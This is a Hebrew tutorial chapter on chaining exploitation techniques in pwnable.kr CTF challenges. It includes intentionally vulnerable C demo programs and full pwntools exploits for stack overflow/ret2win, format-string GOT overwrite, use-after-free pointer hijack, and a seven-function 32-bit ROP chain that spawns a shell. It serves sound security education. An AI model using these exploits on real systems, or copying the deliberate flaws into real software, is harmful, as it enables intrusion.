8.8 שירותי echo וheap משולב הרצאה
עד עכשיו לימדנו כל טכניקה בבידוד: פרק 2 גלישת מחסנית ו-ret2win, פרק 4 ROP chains, פרק 5 חולשות format string, פרק 7 exploit heap ו-UAF. אבל אתגר אמיתי כמעט אף פעם לא מגיש לכם באג נקי אחד עם פתרון של שורה. הוא מגיש שירות עם תפריט, מדינת מצבים שצריך לנווט בה, ובאג שבפני עצמו לא נותן shell - צריך לחבר אותו לפרימיטיב שליטה, לפעמים דרך כמה פעולות ברצף. בשיעור הזה נלמד לחשוב בchains: איך לוקחים באג (overflow, UAF, format string, בלבול טיפוסים) והופכים אותו לשליטה מלאה. נעשה את זה דרך חמישה אתגרים קלאסיים מ-pwnable.kr - echo1, echo2, loveletter, dragon ו-horcruxes - כשהכוכב הוא horcruxes, שבו נבנה ROP chain שקוראת לשבע פונקציות בזו אחר זו.
אנטומיה של אתגר משולב - הבאג, הפרימיטיב, והpayload¶
כל exploit, גם המורכב ביותר, מתפרק לשלושה חלקים. שווה להטמיע את החלוקה הזו כי היא הופכת אתגר מבלבל למשהו שיטתי:
+----------------+ +----------------------+ +-------------------+
| the bug | ---> | the primitive | ---> | the payload |
| (where you break it) | (what you got from the bug) | (what you do with it) |
+----------------+ +----------------------+ +-------------------+
stack overflow control of RIP / write ret2win / ROP / shell
UAF control of fptr / vptr jump to get_shell
format string arbitrary read+write GOT overwrite
type confusion forged object call chain
הטעות הנפוצה של מתחילים היא לחפש "את הפתרון". במקום זה תשאלו שלוש שאלות בסדר: איפה הבאג? לאיזה פרימיטיב הוא מתרגם? ואיזה payload הפרימיטיב הזה מאפשר? באתגרי תפריט מתווספת שכבה רביעית: התוכנית היא מכונת מצבים, ואתם צריכים לנווט אותה - להקצות, לשחרר, למלא, ולהפעיל - בסדר הנכון כדי שהבאג בכלל יצוץ. זה בדיוק ההבדל בין השיעורים הקודמים לשיעור הזה: כאן הפעולות מרובות ותלויות סדר.
עוד עיקרון מרכזי שיחזור: לדלוף לפני שכותבים. אם יש ASLR או PIE, אין לכם כתובות קבועות, אז שלב ראשון בchain הוא לדלוף כתובת (heap, stack או libc), לחשב ממנה בסיס, ורק אז לבנות את הכתיבה. בחלק מהאתגרים כאן ההגנות כבויות (No PIE), וזה חוסך את שלב הleak - שימו לב בכל אתגר מה מצב ההגנות עם checksec, כי זה קובע כמה שלבים הchain תצטרך.
שירות echo1 - גלישת מחסנית וחזרה לפונקציה מנצחת¶
נתחיל מהפשוט. האתגר echo1 הוא שירות תפריט שקורא ממכם שם, ואז מציע כמה סוגי "echo". פונקציית ה-echo קוראת קלט לתוך buffer קטן על המחסנית עם read שמתיר יותר בתים מגודל הbuffer - overflow קלאסית בדיוק כמו בפרק 2. בבינארי יש פונקציה get_shell שאף אחד לא קורא לה בזרימה הרגילה. ההגנות: NX פעיל, בלי canary, No PIE. כלומר כתובת get_shell קבועה, והפרימיטיב (שליטה ב-RIP) מתרגם ישירות לpayload הכי פשוט שיש - ret2win.
הנה מודל מקומי נקי שמשחזר את המבנה:
// echo1_demo.c
// gcc -fno-stack-protector -no-pie -o echo1_demo echo1_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[64];
void get_shell() { system("/bin/sh"); } // nobody calls it in the normal flow
void echo() {
char buf[32];
printf("echo> ");
read(0, buf, 128); // overflow: buf is size 32, we read 128
printf("%s\n", buf);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
printf("your name: ");
read(0, name, 63);
int op;
while (1) {
printf("1.echo 2.exit > ");
if (scanf("%d%*c", &op) != 1) break;
if (op == 1) echo();
else break;
}
return 0;
}
ה-offset עד return address הוא 32 בתים buffer ועוד 8 בתים saved rbp, כלומר 40. את זה תמדדו עם cyclic כמו תמיד. הזרימה: מנווטים בתפריט לאופציה 1, מציפים את buf, דורסים את return address של echo בכתובת get_shell. שימו לב למלכודת ה-movaps מפרק 2 - get_shell קוראת ל-system, אז נוסיף גאדג'ט ret בודד לalignment המחסנית ל-16 בתים:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./echo1_demo')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # align to 64-bit
p = process()
p.sendlineafter(b'name: ', b'me')
p.sendlineafter(b'> ', b'1') # enter echo
payload = flat({40: [ret, elf.symbols['get_shell']]})
p.sendafter(b'echo> ', payload)
p.interactive()
מתי היינו צריכים ret2shellcode במקום ret2win? רק אם לא הייתה פונקציה מנצחת בבינארי וגם ה-NX היה כבוי (או שהיה אזור זיכרון עם הרשאת הרצה). אז היינו כותבים shellcode לתוך buf או לתוך name הגלובלי בכתובת הקבועה, וקופצים אליו. אבל עם NX פעיל זה מת מראש - הקוד על המחסנית לא יורץ. הלקח מ-echo1: כשיש get_shell ואין canary, overflow על המחסנית היא ret2win של שתי שורות. הכל כאן זה לזהות שהתפריט מוביל לפונקציה עם overflow.
שירות echo2 - format string כפרימיטיב כתיבה¶
האתגר echo2 מעלה מדרגה. הוא שירות echo דומה, אבל עם שני באגים ששזורים יחד: חולשת format string באחת מפעולות התפריט (התוכנית מבצעת printf על קלט המשתמש ישירות), וחולשת שימוש לאחר שחרור על הbuffer שמחזיק את ההודעה (הוא מוקצה ב-heap, משוחרר באחת הפעולות, ועדיין בשימוש באחרת). הפרימיטיב שנקבל מה-format string הוא קריאה וכתיבה שרירותיות - בדיוק מה שלמדנו בפרק 5.
נתחיל מהחצי הנקי: format string כשהbuffer על המחסנית. זה מודל של המנגנון שנשתמש בו:
// fsb_demo.c (simulates the format-string half of echo2)
// gcc -fno-stack-protector -no-pie -o fsb_demo fsb_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_shell() { system("/bin/sh"); }
void echo() {
char buf[128];
printf("say> ");
read(0, buf, 128);
printf(buf); // format string vulnerability - buf is on the stack
printf("\n");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
while (1) echo();
return 0;
}
הרעיון: מכיוון שהקלט נמצא על המחסנית, אנחנו יכולים להטמיע בו כתובת יעד ולהתייחס אליה עם ספציפייר מיקום (%N$n). נדרוס את הכניסה של printf בטבלת ה-GOT בכתובת של get_shell. ברגע שהתוכנית תקרא שוב ל-printf (למשל ה-printf("\n") מיד אחרי, או ההדפסה בסבב הבא של הלולאה), הקריאה תופנה דרך ה-GOT ל-get_shell. הספרייה pwntools בונה את הpayload הזה לבד עם fmtstr_payload:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fsb_demo')
# find the offset by manual testing: send b'AAAA.%p.%p.%p...' and see
# at which position 0x41414141 comes back. this way it usually comes out to 6.
offset = 6
writes = {elf.got['printf']: elf.symbols['get_shell']}
payload = fmtstr_payload(offset, writes)
p = process()
p.sendafter(b'say> ', payload) # printf(buf) performs the write to the GOT
p.interactive() # the next printf jumps to get_shell
עכשיו הפואנטה של echo2 האמיתי, ולמה הוא קשה יותר מהדמו: שם הbuffer של ההודעה נמצא ב-heap (הוא malloc), לא על המחסנית. זה שובר את הטריק של "להטמיע כתובת בתוך מחרוזת הפורמט ולהתייחס אליה", כי הספציפייר %N$n יכול להגיע רק לארגומנטים שעל המחסנית - והמחרוזת שלנו לא שם. לכן ב-echo2 משלבים: משתמשים ב-format string כדי לדלוף (קוראים כתובות שכבר יושבות על המחסנית עם %p, מחשבים בסיסים), ובחצי השני מנצלים את ה-UAF - משחררים את buffer ההודעה ומקצים אותו מחדש כך שנשתלט על מצביע פונקציה או על מבנה שהתוכנית משתמשת בו. זו הדגמה מושלמת לעיקרון "לדלוף לפני שכותבים" ולעיקרון "לנווט את מכונת המצבים": הפעולות של set, echo ו-free חייבות לבוא בסדר הנכון כדי שגם הleak וגם המיחזור יעבדו. את הצעדים המדויקים נעשה בתרגול ובפתרון.
אתגר loveletter - הoverflow בשירות טקסט לחטיפת בקרה¶
האתגר loveletter הוא ממשפחת שירותי הטקסט: תוכנית שמקבלת מכם "מכתב" (מחרוזת), מעבדת אותו, ובאחד המסלולים מעתיקה אותו לbuffer מקומי בלי לבדוק גבולות - גלישת מחסנית. מבחינת הרעיון אין כאן שום דבר חדש מעבר לפרק 2 ולפרק 4: מוצאים את ה-offset לreturn address עם cyclic, ובונים payload. מה שכן משתנה זה סוג הקלט, וזה משנה איזה payload מותר:
- אם הoverflow היא דרך
read/fread, מותרים כל הבתים כולל\x00, אז אפשר לכתוב כתובות מלאות ולבנות ROP chain חופשית. - אם הoverflow היא דרך
strcpy,getsאוscanf("%s"), הקלט נקטע ב-null או ברווח. אז כתובות עם בית אפס באמצע נחתכות, וצריך לבחור גאדג'טים וכתובות "נקיים", או להשתמש בטריקים מפרק 3 ל"בתים אסורים".
הזרימה למול שירות טקסט כזה זהה למה שכבר עשיתם: checksec לזהות הגנות, cyclic ל-offset, ואז - אם יש get_shell בבינארי - ret2win; ואם אין, ret2libc או ROP chain מפרק 4 שקוראת ל-system("/bin/sh"). הנקודה שכדאי לקחת מ-loveletter היא לזהות בתוך שירות עם כמה מסלולים איזה מסלול הוא הvulnerable, ולוודא שהpayload שלכם עובר את מגבלות הקלט של אותו מסלול.
המשחק dragon - שימוש לאחר שחרור ובלבול טיפוסים¶
האתגר dragon הוא משחק תפריט שבו נלחמים במפלצות. מאחורי המשחק החמוד מסתתר שילוב של שימוש לאחר שחרור ובלבול טיפוסים: אובייקטים של דמויות ומפלצות מוקצים על ה-heap, ובאחד המסלולים אובייקט משוחרר אבל התוכנית עדיין ניגשת אליו - ובתוכו יש מצביע פונקציה שהמשחק קורא לו. אם נצליח, ברצף הנכון של פעולות תפריט, לגרום למקצה להחזיר את הבלוק המשוחרר להקצאה חדשה שאנחנו ממלאים, נשתול מצביע פונקציה משלנו, והמשחק יקפוץ אליו. היעד: פונקציה נסתרת בבינארי (למשל secret_level) שמדפיסה את הדגל או פותחת shell.
נבנה מודל שמזקק את התבנית הזו:
// dragon_demo.c
// gcc -m32 -fno-stack-protector -no-pie -o dragon_demo dragon_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef struct {
int hp;
void (*attack)(void); // function pointer inside the object
} Character;
Character *monster;
void secret_level() {
puts("secret level! flag: FLAG{dragon_uaf_type_confusion}");
system("/bin/sh");
}
void normal_attack() { puts("a normal swing..."); }
void fight() {
monster = malloc(sizeof(Character)); // block of size 8 (32-bit)
monster->hp = 20;
monster->attack = normal_attack;
puts("you slay the monster.");
free(monster); // freed, but the pointer is kept -> dangling
}
void loot() {
char *data = malloc(sizeof(Character)); // same size -> recycles monster
printf("pick up loot (8 bytes): ");
read(0, data, sizeof(Character)); // we control monster->attack
}
void taunt() { monster->attack(); } // UAF: calls attack of a freed object
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
int op;
while (1) {
printf("1.fight 2.loot 3.taunt 4.exit > ");
if (scanf("%d%*c", &op) != 1) break;
if (op == 1) fight();
else if (op == 2) loot();
else if (op == 3) taunt();
else break;
}
return 0;
}
הריקוד: fight מקצה את המפלצת, ומיד משחרר אותה - נולד מצביע תלוי. loot מקצה בלוק מאותו גודל, אז המקצה מחזיר לנו את אותו בלוק בדיוק, ואנחנו כותבים לתוכו hp כלשהו ואת הכתובת של secret_level בשדה attack. taunt קורא ל-monster->attack() - שהוא עכשיו secret_level.
fight(): monster --> +--------+--------------+
| hp=20 | normal_attack| 0x10 block on the heap
+--------+--------------+
free(monster): the block is in tcache, monster still points to it (dangling)
loot(): malloc(8) returns the same block, read fills it:
monster --> +--------+--------------+
(dangling) | AAAA | secret_level | <-- our data
+--------+--------------+
taunt(): monster->attack() == secret_level() -> shell
וה-exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./dragon_demo')
p = process()
p.sendlineafter(b'> ', b'1') # fight -> malloc + free (dangling pointer)
p.sendlineafter(b'> ', b'2') # loot -> recycles the freed block
p.send(p32(0xdead) + p32(elf.symbols['secret_level'])) # hp + forged attack
p.sendlineafter(b'> ', b'3') # taunt -> monster->attack() = secret_level
p.interactive()
זה עובד רק כי הבינארי No PIE, אז הכתובת של secret_level קבועה ואפשר לכתוב אותה קשיח. אם היה PIE, היינו צריכים קודם לדלוף כתובת קוד (למשל דרך פן הקריאה של אותו UAF). באתגר האמיתי dragon צריך לזהות לבד את גודל האובייקטים כדי שההקצאה החדשה תיפול על אותה מחלקת גודל, ואת רצף המסלולים המדויק במשחק שמשחרר אובייקט ואז מפעיל את המצביע שבתוכו - זו העבודה של reverse engineering על התפריט. אבל התבנית זהה בדיוק לדמו: free, ואז alloc-שממלא, ואז use.
האתגר horcruxes - ROP chain של שבע פונקציות¶
האתגר horcruxes הוא הכוכב של השיעור, כי הוא לוקח את ה-ret2win מפרק 2 והופך אותו לchain של שבע קריאות רצופות. הבינארי הוא 32 ביט, NX פעיל, בלי canary, No PIE. יש שבע פונקציות, נקרא להן A עד G (בהשראת ההורקרוקסים). כל אחת מגרילה ערך אקראי, שומרת אותו במשתנה גלובלי, ומדפיסה אותו. יש פונקציה שבודקת אם הקלט שלכם שווה לסכום שבעת הערכים, ואם כן נותנת את הדגל או shell. הבעיה: בזרימה הרגילה אף אחד לא קורא ל-A עד G, אז כל הגלובלים אפס, והסכום אפס. יש גם פונקציה ropme עם גלישת מחסנית.
הרעיון הגאוני: נשתמש בoverflow ב-ropme כדי לבנות ROP chain שקוראת ל-A, B, C, D, E, F, G בזו אחר זו. כל אחת תגריל את הערך שלה, תעדכן את הגלובל, ותדפיס לנו את הערך. אנחנו נאסוף את שבעת הערכים המודפסים, נסכם אותם, והchain תסתיים בחזרה אל הפונקציה שקוראת את הניחוש ובודקת מול הסכום. עכשיו הסכום כבר לא אפס, ואנחנו יודעים אותו בדיוק כי הפונקציות הדליפו לנו את הערכים.
הנה הנקודה החשובה שהופכת את זה לאלגנטי במיוחד ב-32 ביט: הפונקציות A עד G לא מקבלות ארגומנטים. בקונבנציית cdecl, קריאה בלי ארגומנטים לא דורשת שום גאדג'ט pop - הchain היא פשוט רשימה של כתובות הפונקציות בזו אחר זו. כל פונקציה מסתיימת ב-ret, שמוציא מהמחסנית את הכתובת הבאה - כלומר את הפונקציה הבאה בתור. אין ניקוי מחסנית, אין padding בין הקריאות. פשוט מסדרים את שבע הכתובות ברצף:
the forged stack in ropme (32-bit):
low addresses (top of stack)
+---------------------------+
| padding up to the return address | <-- fills buf and saved ebp
+---------------------------+
| address of A | <-- ropme's ret jumps here
+---------------------------+
| address of B | <-- A's ret jumps here
+---------------------------+
| address of C |
+---------------------------+
| address of D |
+---------------------------+
| address of E |
+---------------------------+
| address of F |
+---------------------------+
| address of G | <-- F's ret jumps here
+---------------------------+
| address of the check function | <-- G's ret jumps here
+---------------------------+
high addresses
שימו לב כמה זה נקי: אין pop reg בין הכתובות כי אף פונקציה לא מקבלת פרמטרים. אילו הפונקציות היו מקבלות ארגומנט, היינו צריכים אחרי כל כתובת סלוט לreturn address ואז סלוט לארגומנט (כמו ב-cdecl בפרק 2). כאן, בזכות היעדר הארגומנטים, זו פשוט chain כתובות.
נבנה מודל מקומי מדויק:
// horcruxes_demo.c
// gcc -m32 -fno-stack-protector -no-pie -o horcruxes_demo horcruxes_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int a, b, c, d, e, f, g;
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
srand(time(NULL));
}
void A() { a = rand() % 0xface + 1; printf("horcrux A : %d\n", a); }
void B() { b = rand() % 0xface + 1; printf("horcrux B : %d\n", b); }
void C() { c = rand() % 0xface + 1; printf("horcrux C : %d\n", c); }
void D() { d = rand() % 0xface + 1; printf("horcrux D : %d\n", d); }
void E() { e = rand() % 0xface + 1; printf("horcrux E : %d\n", e); }
void F() { f = rand() % 0xface + 1; printf("horcrux F : %d\n", f); }
void G() { g = rand() % 0xface + 1; printf("horcrux G : %d\n", g); }
void voldemort() { // the check function
int sum = a + b + c + d + e + f + g;
int guess = 0;
printf("how many EXP did you earn? : ");
scanf("%d", &guess);
if (guess == sum) {
puts("Congratz! flag: FLAG{h0rcrux_r0p_7_functions}");
system("/bin/sh");
} else {
printf("you fool. the soul was %d\n", sum);
}
}
void ropme() {
char buf[100];
printf("tell me a secret : ");
read(0, buf, 512); // overflow: buf is size 100, we read 512
}
int main() {
init();
ropme();
puts("bye");
return 0;
}
עכשיו ה-exploit המלא. שני חלקים מעניינים: בניית הchain מכתובות הסמלים, ואיסוף שבעת הערכים המודפסים כדי לסכם אותם ולשלוח בחזרה:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./horcruxes_demo')
# measure the offset with cyclic. for buf[100] on 32-bit it usually comes out around 112.
offset = 112
chain = flat(
b'A' * offset,
elf.symbols['A'], elf.symbols['B'], elf.symbols['C'], elf.symbols['D'],
elf.symbols['E'], elf.symbols['F'], elf.symbols['G'],
elf.symbols['voldemort'], # G's ret jumps to the check function
)
p = process('./horcruxes_demo')
p.recvuntil(b'secret : ')
p.sendline(chain)
# the seven functions leaked the values - collect and sum them
total = 0
for name in 'ABCDEFG':
line = p.recvline_contains(b'horcrux ' + name.encode())
val = int(line.split(b':')[1].strip())
total += val
log.info('%s = %d', name, val)
log.success('sum = %d', total)
p.recvuntil(b'earn? : ')
p.sendline(str(total).encode())
p.interactive()
הזרימה מלמעלה למטה: ropme מבצעת ret וקופצת ל-A; A מגרילה, מדפיסה, ומבצעת ret שקופץ ל-B; וכך הלאה עד G; ה-ret של G קופץ ל-voldemort, שמחשבת את הסכום מהגלובלים המעודכנים, קוראת את הניחוש שלנו, ומשווה. מכיוון שקראנו את שבעת הערכים מהפלט, אנחנו שולחים בדיוק את הסכום הנכון - וה-if עובר.
באתגר האמיתי יש שני הבדלים קטנים ששווה לדעת. ראשית, פונקציית הבדיקה היא לרוב חלק מ-ropme עצמה, אז החזרה האחרונה בchain היא לכתובת בתוך ropme (drug ret2win אל אמצע פונקציה), לא לפונקציה נפרדת - אבל העיקרון זהה. שנית, לפעמים צריך לשים לב לערך שכל פונקציה מדפיסה ולפורמט שלו כדי לפרסר נכון. הכלי recvline_contains הופך את הפרסור לפשוט. את הכתובות של A עד G שולפים ישר מהבינארי עם nm horcruxes | grep ' [A-G]$' או, כמו כאן, עם elf.symbols.
עקרונות שחוזרים בשרשור טכניקות¶
חמשת האתגרים חלקו כמה עקרונות שכדאי להפנים לפני שממשיכים:
- פרקו לבאג, פרימיטיב, payload. אל תחפשו "פתרון". זהו איפה שוברים, מה מקבלים, ומה עושים עם זה.
- נווטו את מכונת המצבים. בשירותי תפריט הבאג צץ רק אחרי רצף פעולות מסוים - הקצאה, שחרור, מילוי, הפעלה - בסדר הנכון. חשבו על התפריט כעל chain קריאות שאתם מלחינים.
- לדלוף לפני שכותבים. אם יש PIE או ASLR, שלב ראשון הוא leak. בלי leak אין לכם כתובות, ובלי כתובות אין payload. כשההגנות כבויות (No PIE) - זה החלק שנחסך לכם.
- מיחזור לפי גודל. exploit UAF ובלבול טיפוסים חי או מת על השאלה אם ההקצאה הבאה נופלת על מחלקת הגודל של הבלוק המשוחרר. תמדדו את גודל האובייקט.
- בלי ארגומנטים אין גאדג'טים. ב-32 ביט, שרשור פונקציות שלא מקבלות פרמטרים הוא פשוט רשימת כתובות - זה בדיוק מה שהפך את horcruxes לנקי כל כך.
סיכום¶
- אתגר משולב מתפרק תמיד לשלושה: הבאג, הפרימיטיב שהוא נותן, והpayload שהפרימיטיב מאפשר - ובשירותי תפריט מתווספת שכבת ניווט של מכונת מצבים.
echo1- גלישת מחסנית בשירות echo שמתרגמת ל-ret2winעלget_shell; זכרו את alignment ה-movapsמולsystem.echo2- שילוב format string (קריאה+כתיבה, leak ודריסת GOT) עם UAF; הקושי האמיתי הוא שbuffer ההודעה על ה-heap, ולכן צריך לדלוף ולמחזר ולא רק לכתוב ישר.loveletter- גלישת מחסנית בשירות טקסט; אותה טכניקה מפרק 2 ו-4, אבל סוג הקלט (readמולstrcpy/gets) קובע אילו בתים מותרים בpayload.dragon- UAF ובלבול טיפוסים בתפריט משחק: משחררים אובייקט עם מצביע פונקציה, ממחזרים אותו בהקצאה שאנחנו ממלאים, ושותלים כתובת של פונקציה מנצחת.horcruxes- ROP chain שקוראת לשבע פונקציות בזו אחר זו (רשימת כתובות פשוטה כי אין ארגומנטים), אוספת את הערכים שהן מדליפות, ומסיימת בחזרה לפונקציה שבודקת את הסכום.